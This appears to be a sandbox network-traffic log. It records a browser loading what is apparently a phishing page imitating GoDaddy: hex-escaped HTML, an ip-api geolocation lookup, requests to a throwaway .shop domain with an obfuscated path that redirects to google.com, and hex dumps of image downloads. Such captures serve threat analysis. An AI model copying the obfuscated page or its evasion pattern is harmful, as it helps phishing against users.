2024-05-27 17:30:40 UTC	1369	IN	Data Raw: 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 37 34 5c 5c 78 36 46 5c 5c 78 37 30 5c 5c 78 36 45 5c 5c 78 36 31 5c 5c 78 37 36 5c 5c 78 32 44 5c 5c 78 36 43 5c 5c 78 36 46 5c 5c 78 36 37 5c 5c 78 36 46 5c 5c 78 32 44 5c 5c 78 37 37 5c 5c 78 37 32 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 Data Ascii: 3C\\x64\\x69\\x76\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x74\\x6F\\x70\\x6E\\x61\\x76\\x2D\\x6C\\x6F\\x67\\x6F\\x2D\\x77\\x72\\x61\\x70\\x22\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x
2024-05-27 17:30:40 UTC	1369	IN	Data Raw: 78 33 43 5c 5c 78 36 36 5c 5c 78 36 39 5c 5c 78 36 37 5c 5c 78 36 33 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 37 34 5c 5c 78 36 39 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 37 33 5c 5c 78 37 32 5c 5c 78 32 44 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 36 43 5c 5c 78 37 39 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 34 37 5c 5c 78 36 46 5c 5c 78 34 34 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 36 34 5c 5c 78 37 39 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 36 36 5c 5c 78 36 39 5c 5c 78 36 37 5c 5c 78 36 33 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 37 34 5c 5c 78 36 39 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c Data Ascii: x3C\\x66\\x69\\x67\\x63\\x61\\x70\\x74\\x69\\x6F\\x6E\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x73\\x72\\x2D\\x6F\\x6E\\x6C\\x79\\x22\\x3E\\x47\\x6F\\x44\\x61\\x64\\x64\\x79\\x3C\\x2F\\x66\\x69\\x67\\x63\\x61\\x70\\x74\\x69\\x6F\\x6E\\x3E\\x0A\\x20\\x20\\
2024-05-27 17:30:40 UTC	1369	IN	Data Raw: 5c 78 33 30 5c 5c 78 33 31 5c 5c 78 32 44 5c 5c 78 33 31 5c 5c 78 32 45 5c 5c 78 33 37 5c 5c 78 33 30 5c 5c 78 33 31 5c 5c 78 32 30 5c 5c 78 33 32 5c 5c 78 33 32 5c 5c 78 32 45 5c 5c 78 33 35 5c 5c 78 33 34 5c 5c 78 32 30 5c 5c 78 33 33 5c 5c 78 32 45 5c 5c 78 33 39 5c 5c 78 33 33 5c 5c 78 32 30 5c 5c 78 33 36 5c 5c 78 32 45 5c 5c 78 33 32 5c 5c 78 33 38 5c 5c 78 33 39 5c 5c 78 32 30 5c 5c 78 33 31 5c 5c 78 33 30 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 37 5c 5c 78 33 34 5c 5c 78 32 30 5c 5c 78 33 39 5c 5c 78 32 45 5c 5c 78 33 39 5c 5c 78 33 37 5c 5c 78 33 34 5c 5c 78 32 30 5c 5c 78 33 31 5c 5c 78 33 35 5c 5c 78 32 45 5c 5c 78 33 35 5c 5c 78 33 34 5c 5c 78 33 34 5c 5c 78 32 30 5c 5c 78 33 39 5c 5c 78 32 45 5c 5c 78 33 39 5c 5c 78 33 30 5c 5c 78 33 36 5c Data Ascii: \x30\\x31\\x2D\\x31\\x2E\\x37\\x30\\x31\\x20\\x32\\x32\\x2E\\x35\\x34\\x20\\x33\\x2E\\x39\\x33\\x20\\x36\\x2E\\x32\\x38\\x39\\x20\\x31\\x30\\x2E\\x30\\x37\\x34\\x20\\x39\\x2E\\x39\\x37\\x34\\x20\\x31\\x35\\x2E\\x35\\x34\\x34\\x20\\x39\\x2E\\x39\\x30\\x36\
2024-05-27 17:30:40 UTC	1073	IN	Data Raw: 5c 5c 78 32 45 5c 5c 78 33 36 5c 5c 78 33 30 5c 5c 78 33 36 5c 5c 78 36 31 5c 5c 78 33 32 5c 5c 78 33 34 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 39 5c 5c 78 33 32 5c 5c 78 32 30 5c 5c 78 33 32 5c 5c 78 33 34 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 39 5c 5c 78 33 32 5c 5c 78 32 30 5c 5c 78 33 30 5c 5c 78 32 30 5c 5c 78 33 30 5c 5c 78 32 30 5c 5c 78 33 30 5c 5c 78 32 44 5c 5c 78 33 34 5c 5c 78 32 45 5c 5c 78 33 32 5c 5c 78 33 32 5c 5c 78 33 38 5c 5c 78 32 30 5c 5c 78 33 35 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 38 5c 5c 78 34 33 5c 5c 78 33 38 5c 5c 78 32 45 5c 5c 78 33 36 5c 5c 78 33 39 5c 5c 78 33 37 5c 5c 78 32 30 5c 5c 78 33 31 5c 5c 78 33 35 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 38 5c 5c 78 33 36 5c 5c 78 32 30 5c 5c 78 33 37 5c 5c 78 32 45 Data Ascii: \\x2E\\x36\\x30\\x36\\x61\\x32\\x34\\x2E\\x30\\x39\\x32\\x20\\x32\\x34\\x2E\\x30\\x39\\x32\\x20\\x30\\x20\\x30\\x20\\x30\\x2D\\x34\\x2E\\x32\\x32\\x38\\x20\\x35\\x2E\\x30\\x38\\x43\\x38\\x2E\\x36\\x39\\x37\\x20\\x31\\x35\\x2E\\x30\\x38\\x36\\x20\\x37\\x2E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	55931	51.77.64.70	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:40 UTC	363	OUT	GET /json/?key=pD3jjrEbn4o2CQ1 HTTP/1.1 Host: pro.ip-api.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:41 UTC	175	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Mon, 27 May 2024 17:30:40 GMT Content-Length: 306 Connection: close
2024-05-27 17:30:41 UTC	306	IN	Data Raw: 7b 22 61 73 22 3a 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 69 73 70 22 3a 22 4c 65 76 65 6c 20 33 22 2c 22 6c 61 74 22 3a 34 30 2e 37 31 32 38 2c 22 6c 6f 6e 22 3a 2d 37 34 2e 30 30 36 2c 22 6f 72 67 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 59 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 73 74 61 74 75 73 22 3a 22 73 75 Data Ascii: {"as":"AS3356 Level 3 Parent, LLC","city":"New York","country":"United States","countryCode":"US","isp":"Level 3","lat":40.7128,"lon":-74.006,"org":"CenturyLink Communications, LLC","query":"8.46.123.175","region":"NY","regionName":"New York","status":"su

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	55933	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:43 UTC	370	OUT	GET /obufsssssssscaaatoion/ HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:43 UTC	752	IN	HTTP/1.1 302 Found Date: Mon, 27 May 2024 17:30:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: https://google.com X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sKVdVw5JOsVBX0cGb95DLCEAffIIzQkWX3A8BTB1PIMMys7fHCHz9COQQlOO09mMs3aEBpTeMEg8YzBQk%2FM9u5jN8Tvglkuj8gHXosy28qOyib2KYMwfq0TktEq0KgglY4Gm%2B%2F7QQDDfgMs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0509f84243-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	55934	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:43 UTC	613	OUT	GET /static/media/bg_normal.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:43 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:43 GMT Content-Type: image/png Content-Length: 19683 Connection: close Content-Disposition: inline; filename="bg_normal.png" Last-Modified: Sat, 04 Nov 2023 20:23:32 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I%2Ffvvy4rauSe8V1Q%2Fm0Rf70%2FyBFUh00hKN9qhx31LxTMq%2Fs8m6EiAxvqcN4hqJTCNSTIuWpJExEYZmOAVWAbhm51dUNSZOjTC%2BiFJe9Uv0pxEMIZqFvaOCNNcm%2B92GX47IuUL9aowwkGT%2B4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0528108c09-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:43 UTC	512	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 2a 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 01 00 31 01 02 00 07 00 00 00 1a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 ff db 00 84 00 03 02 02 08 08 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 06 05 05 05 06 06 06 06 06 05 05 06 06 06 06 06 06 06 06 06 06 06 06 0a 06 06 07 08 09 09 09 06 06 0b 0d 0a 08 0d 06 08 09 08 01 03 04 04 06 05 06 07 05 05 07 08 07 07 07 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 ff c0 00 11 08 03 a1 06 74 03 01 22 00 02 11 01 03 11 01 ff c4 00 19 00 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 09 ff c4 00 20 10 01 01 01 01 01 00 Data Ascii: JFIFExifII1Googlet"
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 27 46 88 a1 a0 00 2e 00 0d 00 00 00 32 00 20 50 06 71 54 06 57 a2 c4 91 03 57 52 8a ca f4 b2 b2 03 5a 32 b6 82 8c ac ac 05 42 d4 d6 b0 51 3a 25 05 10 d4 8c ee 28 08 82 28 09 62 46 92 c0 66 ac a5 40 6b 53 a4 00 19 a6 8c 34 33 2a ca 08 62 f4 b2 83 02 fa 40 56 75 53 d2 69 a4 aa c8 cb 2d 27 a6 4b 55 56 89 4d 44 51 34 d0 51 35 40 00 00 00 00 03 40 0d 5e 90 05 e9 75 90 1a 19 34 1a 13 a3 41 40 5a 50 05 ab 57 4e 90 55 6b 55 85 d0 68 4e 97 40 00 05 95 00 6a 55 61 65 06 84 d5 00 00 34 b0 25 00 00 00 05 95 59 25 06 82 50 00 00 01 87 6c 4b 4b 50 00 4b 40 4b 53 44 00 11 a0 d4 b5 05 2d 45 91 a9 01 99 e5 a1 2d 05 4e 93 50 00 00 04 e8 14 4e 93 51 62 f4 9a 02 80 00 01 40 4d 34 14 67 a3 a5 1a 5f 2c 74 68 3a 1a c4 51 96 93 50 05 4d 00 4d 3a 31 01 7a 6a 57 35 82 6b a6 9a c2 Data Ascii: 'F.2 PqTWWRZ2BQ:%((bFf@kS43*b@VuSi-'KUVMDQ4Q5@@^u4A@ZPWNUkUhN@jUae4%Y%PlKKPK@KSD-E-NPNQb@M4g_,th:QPMM:1zjW5k
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 95 95 a6 63 40 00 26 ae 92 a0 32 ba ba c8 0d 6a b0 28 d8 ce 92 ab 2d 09 a4 aa 28 8a 00 00 00 00 08 80 03 20 0a 00 00 00 ce 80 08 00 03 31 a4 04 29 54 19 16 c4 19 0d 00 2a ca 80 2d ab 2b 22 0b d2 51 10 34 d3 05 42 52 d4 28 1d 1d 2e 24 44 17 42 c4 44 e9 7a 31 24 05 d3 59 01 6d 4e 80 44 b5 25 5b 10 45 94 e9 01 15 71 93 41 71 02 54 01 2d 4e 8a 86 22 ea ea 23 21 a9 d2 0a 60 02 43 a5 67 01 7a 59 59 c0 1a 31 85 94 1a c4 c3 a3 a0 30 e4 d3 40 e5 39 6b 40 67 0c 68 06 70 c6 93 01 30 d5 e4 e4 0d 34 e4 e4 14 67 95 05 03 00 00 05 d4 01 ad 56 09 41 b1 25 50 00 02 55 c4 14 5c 09 54 54 59 ec 14 6e 51 88 bd 2a ae 1c 9a a9 02 2c 41 42 c1 65 5c 06 5a 95 31 30 1b 19 d5 e8 14 00 60 19 b5 87 73 16 d6 40 68 01 34 54 04 00 2d 04 b5 01 17 00 19 51 9f 5e 93 d7 a6 62 e6 02 c8 41 a6 Data Ascii: c@&2j(-( 1)T-+"Q4BR(.$DBDz1$YmND%[EqAqT-N"#!`CgzYY10@9k@ghp04gVA%PU\TTYnQ,ABe\Z10`s@h4T-Q^bA
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 06 99 d0 00 00 01 af 2c b7 1a 67 40 04 00 00 05 4d 00 46 4d 59 50 06 a5 fc b6 e4 d4 8d 62 6b 63 32 b5 aa 80 00 00 0c b5 12 7c a8 c0 00 00 34 00 2a 68 03 3a c8 02 00 2e 2e 26 a2 a0 d2 2d a4 45 90 1b d4 82 60 8d 6a ca c8 32 d5 a6 b2 4a 0d a6 b2 b6 fe 41 28 97 e5 40 c5 c4 94 94 45 c5 8c ae 89 54 b5 2d 41 1b 19 e9 01 b4 d4 d4 06 b5 35 00 66 d5 d2 c5 19 66 55 21 20 2c a9 8a 32 24 65 b6 71 44 01 40 00 00 67 59 00 44 00 00 00 00 06 6c 16 d4 19 04 d4 e8 46 91 53 40 c3 09 4b 50 4a 86 88 01 a9 d0 94 b1 96 b5 2c 44 40 34 00 00 00 13 12 c6 b1 39 04 59 4b 13 01 ad 4d 41 34 5d 88 8a 50 a2 e8 51 05 c3 14 41 70 c0 43 4c 30 17 a5 d6 40 68 67 5a d0 00 01 65 40 1a 95 75 80 1a b0 c4 95 a9 41 9c 25 69 00 e8 d0 a0 a2 4a a0 2e a0 0b 3d 34 c2 ca 0d 00 02 ca 82 ad 68 49 54 5a 35 Data Ascii: ,g@MFMYPbkc2\|4*h:..&-E`j2JA(@ET-A5ffU! ,2$eqD@gYDlFS@KPJ,D@49YKMA4]PQApCL0@hgZe@uA%iJ.=4hITZ5
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 10 01 70 08 2f 95 4d 50 06 40 14 00 69 34 01 96 45 95 05 1b 8d 47 38 d4 aa 9a d8 ce ae 88 a2 28 00 80 a0 34 ce 80 2a 00 00 be 51 a1 34 a0 0c 80 00 00 25 42 ac 83 27 95 00 00 00 00 1a 91 96 a0 9a 88 b8 83 20 a8 b0 00 20 2c 88 d4 88 23 51 22 89 a0 0a c8 02 00 00 00 09 45 04 d6 63 49 14 40 13 41 59 ad 5a 9d 20 ca 5f 4b 63 2a 35 a9 d2 00 5a 00 00 33 ac 00 20 01 80 00 02 62 82 33 51 ab 13 04 41 3a 41 1a d4 e9 91 34 6b 57 58 19 1a d4 b5 0c 06 74 d0 19 17 50 45 34 d0 54 44 b1 4b 19 19 5d 2c 45 d1 ad 35 91 06 ac 65 2a 03 42 4a a0 25 8a 96 02 62 2d 88 0d 74 74 c8 0d 8c 35 d0 28 68 01 28 03 52 8c 80 d8 cc ad 40 05 c4 b0 16 55 64 95 46 83 45 05 d4 10 6a 55 61 a9 45 54 c5 0a 24 8d 48 98 45 58 d6 27 24 ad 04 49 14 00 c5 c4 95 a0 89 89 8d 18 04 05 c5 11 75 00 6a 7a 56 Data Ascii: p/MP@i4EG8(4Q4%B' ,#Q"EcI@AYZ _Kc5Z3 b3QA:A4kWXtPE4TDK],E5e*BJ%b-tt5(h(R@UdFEjUaET$HEX'$IujzV
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 00 01 63 3a 00 a0 06 00 60 d4 86 a6 80 32 c8 02 c0 01 40 00 00 00 01 00 06 41 61 20 0a 45 00 00 12 a8 9a 33 60 d2 58 88 98 8a 08 61 16 9e 41 4c 00 06 62 da 83 36 b3 6b 5e 99 00 05 00 00 01 84 00 10 00 40 12 d0 18 f4 d5 a8 83 22 c8 8c a0 58 a6 2a 6a 58 8d 58 88 88 2c 28 20 b6 31 68 2f 49 41 91 9a 8d 58 c8 00 00 00 c8 96 28 0c e2 37 58 64 16 54 14 5e 97 59 19 17 10 8d 4a 08 8d e2 60 32 2f 28 0b 2b 4c 2c a0 d0 00 98 b0 01 ad 56 1a 94 14 00 11 51 45 c0 91 71 a5 a8 18 0a be 6a b2 d4 00 00 1a 95 95 80 d0 00 2e 92 22 8d 2a 79 55 00 01 a1 9d 68 0c 00 12 2a 62 80 00 05 81 5b 76 19 00 68 01 15 3d 32 50 80 03 2b 44 aa 94 2b 38 cd 8d 02 b2 4a d2 5f 22 ac a5 4c 27 a0 40 b5 34 14 02 00 09 00 02 00 09 04 b5 29 88 b0 00 20 00 b0 00 00 00 00 10 00 28 00 c8 00 0d 48 48 aa Data Ascii: c:`2@Aa E3`XaALb6k^@"XjXX,( 1h/IAX(7XdT^YJ`2/(+L,VQEqj."yUh*b[vh=2P+D+8J_"L'@4) (HH
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 4c 51 16 16 11 55 a0 c0 50 00 6a 09 2a 80 95 40 4f 2a 4f 2b 41 00 04 a8 51 e8 74 c0 01 2b 2d 56 52 2d 00 45 00 41 9a 8b 50 00 01 65 10 14 b1 22 da 9a 06 1c 9a 74 14 b0 e5 74 04 9e 4e 56 d3 41 39 4b 1a d4 b4 2a 58 98 a0 27 27 2a 02 61 8a 9a 0a 26 82 28 cf f4 06 86 74 d0 53 59 c5 e4 0d 46 b1 56 09 86 28 a0 02 a5 00 10 00 00 c5 82 18 b2 00 94 00 40 13 41 46 6d 35 62 55 b5 01 50 c5 f2 45 10 00 00 00 58 4a d0 06 89 62 a5 50 c0 85 4c 50 58 80 0c 84 ab a8 00 0a a9 46 bc a4 5d 19 6a d6 74 10 16 44 34 1a 2d 67 40 5d 35 34 02 d5 f3 12 34 00 54 d0 53 53 50 1a 5d 48 0c ac 69 98 b6 88 96 9a 54 01 62 2c 02 92 23 40 95 69 14 19 2a a4 19 41 49 19 10 6a a0 20 b8 40 58 14 90 16 d2 03 3a 00 20 32 d2 55 18 f4 8d 54 91 04 00 00 00 00 40 28 88 0a ce b2 8a c2 f4 90 0f 51 31 ab Data Ascii: LQUPj@OO+AQt+-VR-EAPe"ttNVA9KX''a&(tSYFV(@AFm5bUPEXJbPLPXF]jtD4-g@]544TSSP]HiTb,#@i*AIj @X: 2UT@(Q1
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 0b 00 05 00 00 05 90 11 64 39 5c 12 9c a8 08 00 00 0b 05 86 a0 22 da 80 8c b5 17 58 95 74 1a d1 23 58 08 2e 28 00 00 00 00 01 1b 49 00 14 04 a0 02 80 02 c8 a0 00 02 50 00 a0 02 50 04 00 19 40 05 00 10 55 89 22 c0 2a 90 00 00 00 00 00 00 4d 4d 00 44 00 00 00 00 00 00 0d 13 19 d5 a2 48 2a 05 29 e5 28 20 b8 8c a0 02 d0 01 00 04 00 00 00 46 6c 1a ac b2 0c 56 d2 c0 64 01 40 19 d0 01 12 00 0c 88 a0 33 c1 cb 5a 8c 89 62 63 56 25 80 98 62 e2 20 60 00 00 06 18 00 9c 9c a8 09 89 8d 35 20 31 22 b6 9c 83 23 5c a6 02 00 0b 22 e1 22 82 72 72 a0 33 84 8d 2c a0 82 f2 98 28 00 41 af 2c ac 08 d0 0a 40 05 20 60 d4 51 91 aa ce 0a 12 98 48 2b 40 00 00 2c 69 3c aa 82 72 a2 89 23 2d 8a 39 18 56 9e b8 f5 32 96 37 82 c1 cb 06 d3 94 83 23 58 ab 06 2c 4a dd 64 8a ce ae aa 62 42 a8 Data Ascii: d9\"Xt#X.(IPP@U"MMDH)( FlVd@3ZbcV%b `5 1"#\""rr3,(A,@ `QH+@,i<r#-9V27#X,JdbB
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 80 00 00 0a 85 8d 48 b8 0c c8 b6 28 b5 23 22 da 88 40 00 16 44 8d 0a 62 72 a0 33 83 49 ca d4 88 45 91 a9 e5 69 10 5e 4c 11 00 0a 02 c1 a5 8a 00 25 8a 28 cd 8b 22 ac 85 48 83 46 2d 23 23 58 cd 82 8d 44 8d 28 00 00 00 e2 03 a6 fd 84 f4 a5 06 40 10 02 c1 58 0c 11 01 64 5c 11 24 66 b6 c8 27 26 28 a8 9c 92 28 06 33 56 d6 40 00 00 00 04 be 80 a8 9a 9a 0d 0c 69 a0 da 5a ce 80 bd 1d 20 41 75 34 35 60 09 d2 69 05 e9 35 02 0b a8 0a 94 00 2a 98 69 a2 53 90 5c 0a 9a aa 60 26 29 80 82 ea 00 d4 a6 b2 03 69 a8 b0 14 94 30 14 91 60 00 00 00 00 00 b8 b1 25 34 4a d0 92 ab 31 40 08 00 10 17 50 11 bf 34 b7 ff 00 58 50 ad 4a d4 66 46 85 00 00 01 34 00 40 00 00 45 01 63 2a a4 22 80 00 00 00 00 00 02 e0 45 c6 10 80 a2 a2 80 00 00 03 20 00 09 01 10 c1 46 54 00 00 00 00 04 a5 a9 Data Ascii: H(#"@Dbr3IEi^L%("HF-##XD(@Xd\$f'&((3V@iZ Au45`i5iS\`&)i0`%4J1@P4XPJfF4@Ec"E FT
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: b4 50 65 96 a0 9e 6a 8b 40 05 00 15 63 4c f9 69 10 01 90 00 50 00 16 24 8a 0e 98 96 9e 52 d0 6a 09 15 00 04 00 58 04 82 e9 20 12 28 00 02 68 00 cb 40 34 09 29 12 35 44 4b 48 62 32 8b 2a d4 82 28 d2 28 a0 00 00 00 0c e8 00 20 00 a0 0c 80 08 00 00 00 a1 41 95 16 20 84 31 6d 48 b2 b2 24 6b 52 40 14 49 4c 02 29 04 d1 16 89 23 2a 45 25 28 12 a5 54 b4 10 0c 60 02 45 04 0c 00 01 90 00 06 6a 98 83 23 62 ac 60 6b 0c 08 c8 d6 0c e9 19 1a c3 10 8c 8d 62 72 11 05 e4 e4 22 00 10 00 68 00 45 c3 16 28 46 7f 88 da 51 23 22 d8 82 00 0a 2c 46 96 91 51 51 11 9a 2d a8 00 0b 81 23 52 24 8d 34 00 00 00 04 08 0d 62 55 16 8c e0 d2 58 a2 12 04 80 d0 00 00 a0 02 d1 c6 b2 db 0e b3 00 00 9e 91 aa c8 05 00 4f 4c e3 55 28 09 22 e2 ac 4a 98 cc 74 61 4a 00 a8 01 41 9a 80 00 00 27 a3 a6 Data Ascii: Pej@cLiP$RjX (h@4)5DKHb2(( A 1mH$kR@IL)#E%(T`Ej#b`kbr"hE(FQ#",FQQ-#R$4bUXOLU("JtaJA'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	55937	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:43 UTC	614	OUT	GET /static/media/logo-off-1.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:43 UTC	846	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:43 GMT Content-Type: image/png Content-Length: 330 Connection: close Content-Disposition: inline; filename="logo-off-1.png" Last-Modified: Sat, 04 Nov 2023 15:12:26 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7Qh41aJFoCD42dMw%2F3myQ0cSCKQmz4DHJzNaXQ8pJILuB8eOS9Dy1IHiLOpQX8ihwj6JrpsGbgy91D%2FdzMvcywxkfSjAKfdZz3o1VdzfN8QZeVhRKRBB1DDeoLl6H3GkQsQp6U16bZJdFgY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc05381e8c53-EWR alt-svc: h3=":443"; ma=86400
